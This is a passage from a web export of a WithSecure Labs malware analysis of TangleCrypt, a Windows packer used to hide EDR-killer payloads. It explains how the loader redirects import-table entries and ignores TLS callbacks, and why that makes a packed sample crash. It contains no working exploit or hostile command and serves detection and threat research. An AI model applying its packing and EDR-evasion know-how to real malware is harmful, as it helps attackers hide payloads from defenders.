we later discovered that the unpacked sample did not crash and displayed the expected UAC prompt, we realized that the crash must be caused by TangleCrypt instead.<\/p>\n<h3>Identifying the problem<\/h3>\n<p>As long as your debugger has not been configured to completely ignore Access Violation exceptions to bypass the previously mentioned anti-analysis trick, it easily reveals that the crash happens in MSVCRT.DLL function &#8216;strrchr&#8217;.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-24-strrchr-crash.png.webp\" alt=\"\" \/><\/figure>\n<p>This function returns a pointer to the last occurrence of a character (second argument, &#8216;rdx&#8217;) in a given string (first argument, &#8216;rcx&#8217;). But as you can see, &#8216;rcx&#8217; is 0 here, <a href=\"https:\/\/learn.microsoft.com\/en-us\/cpp\/c-runtime-library\/reference\/strrchr-wcsrchr-mbsrchr-mbsrchr-l\" target=\"_blank\" rel=\"noopener\">and strrchr does not validate its input<\/a>; hence the null pointer exception.<\/p>\n<p>Let&#8217;s take a closer look at the code that calls this &#8216;strrchr&#8217; function.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-25-run-as-admin-disasm.png.webp\" alt=\"\" \/><\/figure>\n<p>This code is part of the original STONESTOP &#8216;.text&#8217; section (virtual address 0x401000 &#8211; 0x405000), so at this point, both TangleCrypt and VMProtect have unpacked their payload.<\/p>\n<p>At 0x401FC6 it calls a function that basically checks if the process is executed with admin rights. If that&#8217;s the case, it returns 1 in &#8216;eax&#8217;, otherwise 0, where it jumps to the code at 0x401FDE that prepares a few things to start itself with elevated rights.<\/p>\n<p>The next relevant instruction in this logic is at 0x401FE7: it fetches a pointer to MSVCRT.DLL export <a href=\"https:\/\/learn.microsoft.com\/en-us\/cpp\/c-runtime-library\/pgmptr-wpgmptr\" target=\"_blank\" rel=\"noopener\">pgmptr<\/a>. This is not a function; it is a pointer to a variable that contains a pointer to the full path of the executable (or the executable name only, depending on how the file is executed). That pointer is then passed to &#8216;strrchr&#8217; to find the last backslash in the string.<\/p>\n<p>However, the problem here is that this variable does not contain a pointer to a string at all: it is null. That is never supposed to occur, so it seems like certain parts of the C runtime in MSVCRT.DLL have not been initialized properly. What exactly went wrong here?<\/p>\n<p>We decided to debug our TangleCrypt unpacked executable (but still packed with VMProtect), which does not crash. Putting a breakpoint-on-memory-access on the variable pointed to by the &#8216;pgmptr&#8217; export (WinDbg: &#8220;ba r 8 msvcrt!pgmptr&#8221;) caused the process to break at 0x401FF1, allowing us to confirm that the variable contained a pointer to an actual string, which proved that TangleCrypt was somehow responsible for the incomplete C runtime initialization.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-26a-unpacked-pgmptr.png.webp\" alt=\"\" \/><\/figure>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-26b-unpacked-pgmptr-str.png.webp\" alt=\"\" \/><\/figure>\n<h3>Idea 1: TLS<\/h3>\n<p>One thing we noticed was that the unpacked executable has <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/debug\/pe-format#the-tls-section\" target=\"_blank\" rel=\"noopener\">Thread Local Storage (TLS) information<\/a> and a few TLS callbacks &#8211; functions typically used for data initialization\/uninitialization. Here we have three such functions: 0x5AC152, 0x404450 and 0x404420.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-27-unpacked-tls.png.webp\" alt=\"\" \/><\/figure>\n<p>The original executable &#8211; before it was packed with VMProtect &#8211; only had the two last callbacks, which are part of the C runtime initialization; the first callback 0x5AC152 was added by VMProtect and is responsible for decrypting the original PE sections so that the next callbacks can be executed (clever!).<\/p>\n<p>However, the TangleCrypt loader completely ignores the original TLS information: breakpoints that we set on all 3 callbacks were not triggered when we expected them to trigger, or not triggered at all.<\/p>\n<p>For a moment, we thought that we had identified the root cause of the crash, but that turned out not to be the case. Both VMProtect and C runtime are designed in such a way that they do not rely on TLS data and callbacks: if the TLS information is discarded somehow, both then just take different code paths to take care of things. This was easily confirmed by removing the pointer to the TLS information in the PE header of the unpacked executable; it was still working fine.<\/p>\n<p>We can&#8217;t say that it is a good idea from the TangleCrypt authors to discard the original TLS information &#8211; on the contrary, because some PE files may rely on it &#8211; but at least this flaw is not responsible for the crash in this sample. We reached a dead end here.<\/p>\n<h3>Idea 2: A deep dive into the C runtime<\/h3>\n<p>Eventually we decided to disassemble MSVCRT.DLL itself, to find out where and how the runtime initializes the variable where the &#8216;pgmptr&#8217; export points to. It turned out that this is only done in two internal functions, and that these functions are only called by the MSVCRT.DLL exported function <a href=\"https:\/\/learn.microsoft.com\/en-us\/cpp\/c-runtime-library\/getmainargs-wgetmainargs\" target=\"_blank\" rel=\"noopener\">_getmainargs<\/a>.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-28-msvcrt-set-pgmptr.png.webp\" alt=\"\" \/><\/figure>\n<p>In other words, this suggests that the C runtime assumes that &#8216;_getmainargs&#8217; is always called at least once before the runtime is &#8220;exposed&#8221; to the actual program at the &#8216;main()&#8217; function. And that is a safe assumption: when we debug the unpacked executable and set a breakpoint on both &#8216;_getmainargs&#8217; and 0x4013E3 (the call to &#8216;main()&#8217;, virtualized by VMProtect), the target would hit the &#8216;_getmainargs&#8217; breakpoint first, which proves that it is indeed called during the C runtime initialization.<\/p>\n<p>When we let the debugger return from here, we end up in a small function that starts at 0x401160, part of the C runtime stub in the original executable.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-29-func-calling-getmainargs.png.webp\" alt=\"\" \/><\/figure>\n<p>Then the obvious question is: what&#8217;s different in the TangleCrypt packed sample? It looks like &#8216;_getmainargs&#8217; is not executed at all?<\/p>\n<p>Let&#8217;s debug the executable and set the same breakpoints &#8211; &#8216;_getmainargs&#8217; and 0x4013E3 &#8211; but also at 0x401160, the function that is supposed to call &#8216;_getmainargs&#8217;. If all goes well, we first break at 0x401160. From here, we trace a few instructions to see where the call at 0x40119E leads to.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-30-jump-iat-disasm.png.webp\" alt=\"\" \/><\/figure>\n<p>The instruction at 0x404BD0 jumps to the address stored in 0x40B620, which is part of the Import Address Table (IAT). But instead of jumping to &#8216;_getmainargs&#8217;, we end up in code belonging to the TangleCrypt loader!<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-31-getmainargs-own-impl.png.webp\" alt=\"\" \/><\/figure>\n<p>So what is happening here?<\/p>\n<p>When TangleCrypt decrypts and prepares the payload, it also needs to make sure that all imports in the IAT of the decrypted payload are resolved (a task otherwise done by the Windows PE loader). For most imports, TangleCrypt will simply write its original function address to the IAT. But for a few specific API functions, the authors have provided an own implementation of which the address is written to the IAT instead.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tanglecrypt-32-memdump-iat.png.webp\" alt=\"\" \/><\/figure>\n<p>Writing an own implementation of an API function is typically done to change its behaviour, for example to fix a compatibility issue (as Windows does for certain programs) or to prevent the API from doing something &#8211; we suspect that TangleCrypt redirects the &#8216;msvcrt!exit&#8217; function for that reason. But a re-implementation introduces the risk of being incomplete, and that&#8217;s exactly the problem with the &#8216;_getmainargs&#8217; implementation in the TangleCrypt loader: it does not initialize &#8216;pgmptr&#8217;, which causes a crash down the line. Or at least when the sample is executed without admin rights; STONESTOP only uses &#8216;pgmptr&#8217; in the code to restart itself elevated, which explains why the crash does not occur if it&#8217;s immediately executed as admin.<\/p>\n<p>These bugs that we identified &#8211; the discarded TLS information and the incomplete re-implementations &#8211; were the main inspiration to name this packer TangleCrypt.<\/p>\n<h2>The other sample<\/h2>\n<p>The remaining question is why the other sample &#8211; &#8216;b1.exe&#8217; &#8211; works as expected in all scenarios, even though the functionality is identical to &#8216;4cBh.exe&#8217;. Actually, there are two reasons:<\/p>\n<ul>\n<li>While the &#8216;4cBh.exe&#8217; payload is dynamically linked with MSVCRT.DLL, the &#8216;b1.exe&#8217; payload is statically linked with the CRT and therefore has all runtime functions such as &#8216;_getmainargs&#8217; included. Since the import does not exist, the TangleCrypt loader does not replace it with its own incomplete implementation.<\/li>\n<li>As discussed before, the &#8216;b1.exe&#8217; payload is configured to be injected in a child process. We have determined that the replaced imports depend on the injection method: for example, if the payload is injected in a child process, TangleCrypt will not replace the MSVCRT.DLL exports &#8216;_getmainargs&#8217; or &#8216;exit&#8217;, but it will redirect USER32.DLL export &#8216;MessageBoxA&#8217;. In other words, if &#8216;4cBh.exe&#8217; had been configured to use the child process method, it would have worked as expected.<\/li>\n<\/ul>\n<h2>Conclusion<\/h2>\n<p>EDR killers are constantly evolving, and threat actors will keep finding new ways to hide their payloads through different techniques. TangleCrypt is one such example of an attempt to hide the payload through various mechanisms.<\/p>\n<p>The packer shows several thoughtful design choices, from its multi-layer encryption, encoding and compression techniques, to its ability to switch execution techniques using a simple configuration string. For a threat actor deploying EDR killers to evade defense mechanisms, a loader with this level of flexibility can be highly valuable. Its payload-agnostic architecture also makes it suitable for hiding virtually any malware the threat actor decides to bundle with it. Inconsistencies found in its loader implementation can cause certain packed executables to behave unexpectedly, which may explain why TangleCrypt is not widely observed in the wild. However, this also highlights varying capabilities of malware development: rapid development, limited testing and general carelessness can introduce bugs that ultimately reduce its effectiveness.<\/p>\n<p>TangleCrypt is therefore a reminder that adversaries continually experiment, iterate, and repurpose tooling in their efforts to bypass detection. As EDR killers and their supporting infrastructure continue to evolve, defenders must anticipate not only sophisticated techniques, but also fast-moving, imperfect implementations that may appear in real attacks.<\/p>\n<p>WithSecure products detect TangleCrypt packed samples as \u201cTrojan:W32\/TangleCrypt.A\u201d.<\/p>\n<p>The author of this blogpost would like to thank Amjad Alsharafi for his contributions to the investigation.<\/p>\n<h2>Appendix A: YARA rules<\/h2>\n<ul>\n<li><a href=\"https:\/\/github.com\/WithSecureLabs\/iocs\/blob\/master\/TangleCrypt\/TangleCrypt_YARA.yar\" target=\"_blank\" rel=\"noopener\">YARA rule for TangleCrypt &#8211; GitHub<\/a><\/li>\n<\/ul>\n<h2>Appendix B: Indicators of Compromise (IOCs)<\/h2>\n<ul>\n<li><a href=\"https:\/\/github.com\/WithSecureLabs\/iocs\/blob\/master\/TangleCrypt\/TangleCrypt_IOC.csv\" target=\"_blank\" rel=\"noopener\">List of STONESTOP and ABYSSWORKER samples &#8211; GitHub<\/a><\/li>\n<\/ul>\n<h2>References<\/h2>\n<h3>ABYSSWORKER \/ POORTRY \/ BURNTCIGAR &amp; STONESTOP<\/h3>\n<ul>\n<li><a href=\"https:\/\/www.elastic.co\/security-labs\/abyssworker\" target=\"_blank\" rel=\"noopener\">https:\/\/www.elastic.co\/security-labs\/abyssworker<\/a><\/li>\n<li><a href=\"https:\/\/www.linkedin.com\/pulse\/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.linkedin.com\/pulse\/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c\/<\/a><\/li>\n<li><a href=\"https:\/\/news.sophos.com\/en-us\/2024\/08\/27\/burnt-cigar-2\/\" target=\"_blank\" rel=\"noopener\">https:\/\/news.sophos.com\/en-us\/2024\/08\/27\/burnt-cigar-2\/<\/a><\/li>\n<li><a href=\"https:\/\/news.sophos.com\/en-us\/2022\/12\/13\/signed-driver-malware-moves-up-the-software-trust-chain\/\" target=\"_blank\" rel=\"noopener\">https:\/\/news.sophos.com\/en-us\/2022\/12\/13\/signed-driver-malware-moves-up-the-software-trust-chain\/<\/a><\/li>\n<\/ul>\n<h3>HeartCrypt<\/h3>\n<ul>\n<li><a href=\"https:\/\/unit42.paloaltonetworks.com\/packer-as-a-service-heartcrypt-malware\/\" target=\"_blank\" rel=\"noopener\">https:\/\/unit42.paloaltonetworks.com\/packer-as-a-service-heartcrypt-malware\/<\/a><\/li>\n<\/ul>\n<h3>Others<\/h3>\n<ul>\n<li><a href=\"https:\/\/news.sophos.com\/en-us\/2025\/08\/06\/shared-secret-edr-killer-in-the-kill-chain\/\" target=\"_blank\" rel=\"noopener\">https:\/\/news.sophos.com\/en-us\/2025\/08\/06\/shared-secret-edr-killer-in-the-kill-chain\/<\/a><\/li>\n<li><a href=\"https:\/\/unit42.paloaltonetworks.com\/medusa-ransomware-escalation-new-leak-site\/\" target=\"_blank\" rel=\"noopener\">https:\/\/unit42.paloaltonetworks.com\/medusa-ransomware-escalation-new-leak-site\/<\/a><\/li>\n<\/ul>\n<\/div>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/tanglecrypt\/&#038;title=TangleCrypt:%20a%20sophisticated%20but%20buggy%20malware%20packer\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=TangleCrypt: a sophisticated but buggy malware packer&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/tanglecrypt\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                        <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-cta-banner edwp-block js-wp-block-cta-banner wp-block-cta-banner--style-icon wp-block-cta-banner--no-image layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cta-banner__container\">\n        <div class=\"wp-block-cta-banner__box row-load\">\n            <div class=\"wp-component-content wp-component-content--help-text wp-component-content--dark wp-block-cta-banner__content\">\n                        <div class=\"wp-component-content__inner\">\n                <h2 class=\"wp-component-heading text--h2 wp-component-heading--dark wp-component-content__title\">\n    What <span class=\"blue-text\">next?<\/span><\/h2>                                    <div class=\"wp-component-content__content wysiwyg wysiwyg--dark\">\n                        <div class=\"wp-component-paragraph wp-component-paragraph--dark\">\n    <p class=\"text--p-medium\">Discover WithSecure\u2122 Elements Exposure Management.<br \/>\n&#8211; No credit card required. No obligations.No complexity.<\/p>\n<\/div>\n                    <\/div>\n                            <\/div>\n                            <div class=\"wp-component-content__buttons\">\n                <a class=\"wp-component-button btn btn--primary btn--dark\" href=\"https:\/\/www.withsecure.com\/en\/contact-us\/\">Contact us<\/a>            <\/div>\n                <\/div>                    <\/div>\n    <\/div>\n<\/section>\n\n\n\n\n<section\n    class=\"wp-block-cards edwp-block wp-block-cards--col-3 js-wp-block-cards wp-block-cards--show-overflow wp-block-cards--auto-slides-per-view layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cards__container\">\n        <div class=\"wp-component-content wp-component-content--default wp-block-cards__content\">\n            <h2 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    Related <span class=\"blue-text\">Labs content<\/span><\/h2>                    <div class=\"wp-component-content__inner\">\n                                    <div class=\"wp-component-content__content wysiwyg\">\n                        <div class=\"wp-component-paragraph \">\n    <p class=\"text--p-medium\"><span data-teams=\"true\">Find related content relating to this topic.<\/span><\/p>\n<\/div>\n                    <\/div>\n                                                            <\/div>\n                <\/div>                            <div\n                class=\"swiper wp-block-cards__swiper js-wp-block-cards-swiper\"\n                data-slides-per-view-desktop=\"auto\"\n                data-slides-per-view-tablet=\"auto\"\n                data-slides-per-view-mobile=\"auto\"\n            >\n                <div class=\"swiper-wrapper wp-block-cards__swiper-wrapper row-load\">\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card wp-component-card-insight--highlighted\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Attack Detection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Dfir<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Incident Response<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Research<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Inside Phexia: A macOS malware delivered through ClickFix<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary btn--dark wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1366\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"Overhead view down a wooden staircase of two people working on laptops in a casual seating nook below.\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp 2048w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1536x1025.jpg.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Endpoint Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Ransomware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Stolen creds and stinging loaders: An initial access campaign via SEO poisoning<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">AI Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Software Protection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                    <\/div>\n                <div class=\"wp-block-cards__nav fade-in\">\n                    <div class=\"wp-block-cards__pagination js-wp-block-cards-pagination\">\n                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-prev\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-next\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                <\/div>\n            <\/div>\n                                    <\/div>\n<\/section>\n","protected":false},"excerpt":{"rendered":"<p>WithSecure&#8217;s STINGR Group is releasing a detailed technical analysis of TangleCrypt, a previously undocumented packer for Windows malware.<\/p>\n","protected":false},"author":3,"featured_media":8857,"template":"","categories":[148,231,269],"labs_content_type":[298,296,224],"class_list":["post-8275","lab_item","type-lab_item","status-publish","has-post-thumbnail","hentry","category-ransomware","category-software-protection","category-threat-intelligence"],"acf":[],"card":"<div class=\"wp-component-card-insight js-card-link\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_news.jpg\" class=\"wp-component-card-insight__image\" alt=\"\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_news.jpg 1200w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_news-300x200.jpg 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_news-1024x683.jpg 1024w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_news-768x512.jpg 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_news-447x298.jpg 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_news-219x146.jpg 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Ransomware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Software Protection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">TangleCrypt: a sophisticated but buggy malware packer<\/h3>\n                                            <p class=\"wp-component-card-insight__desc\">WithSecure&#039;s STINGR Group is releasing a detailed technical analysis of TangleCrypt, a previously undocumented packer for Windows malware.<\/p>\n                            <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/tanglecrypt\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>","_links":{"self":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item\/8275","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item"}],"about":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/types\/lab_item"}],"author":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/users\/3"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media\/8857"}],"wp:attachment":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media?parent=8275"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/categories?post=8275"},{"taxonomy":"labs_content_type","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/labs_content_type?post=8275"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}},{"id":8312,"date":"2025-10-27T09:00:00","date_gmt":"2025-10-27T09:00:00","guid":{"rendered":"https:\/\/www.withsecure.com\/?post_type=lab_item&#038;p=8312"},"modified":"2026-09-08T10:04:48","modified_gmt":"2026-09-08T07:04:48","slug":"webjack","status":"publish","type":"lab_item","link":"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/webjack\/","title":{"rendered":"WEBJACK: Evolving IIS Hijacking Campaign Abuses SEO for Fraud and Monetization"},"content":{"rendered":"<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 wp-block-one-column-block--meta-sharing layout--spacing-xxxxl-top layout--spacing-xl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                            <div class='wp-block-one-column-block__meta-sharing-grid'><div class=\"wp-component-content wp-component-content--default wp-block-one-column-block__content fade-in\">\n            <h1 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    WEBJACK: Evolving IIS Hijacking Campaign Abuses SEO for Fraud  <span class=\"blue-text\">and Monetization<\/span><\/h1>                    <div class=\"wp-component-content__inner\">\n                                                    <div class=\"wp-component-content__meta\">\n                                                    <span class=\"wp-component-content__content-type\">\n                                Article                            <\/span>\n                                                                            <span class=\"wp-component-content__meta-categories\">\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Attack Detection                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Network Security                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Threat Intelligence                                    <\/span>\n                                                            <\/span>\n                                                                                                    <span class=\"wp-component-content__meta-date\">\n                                Oct 27, 2025                            <\/span>\n                                                                    <\/div>\n                                            <\/div>\n                <\/div><section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--content-1 wp-block-sharing-icons--disable-container wp-block-one-column-block__sharing fade-in wp-block-one-column-block__sharing fade-in\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a 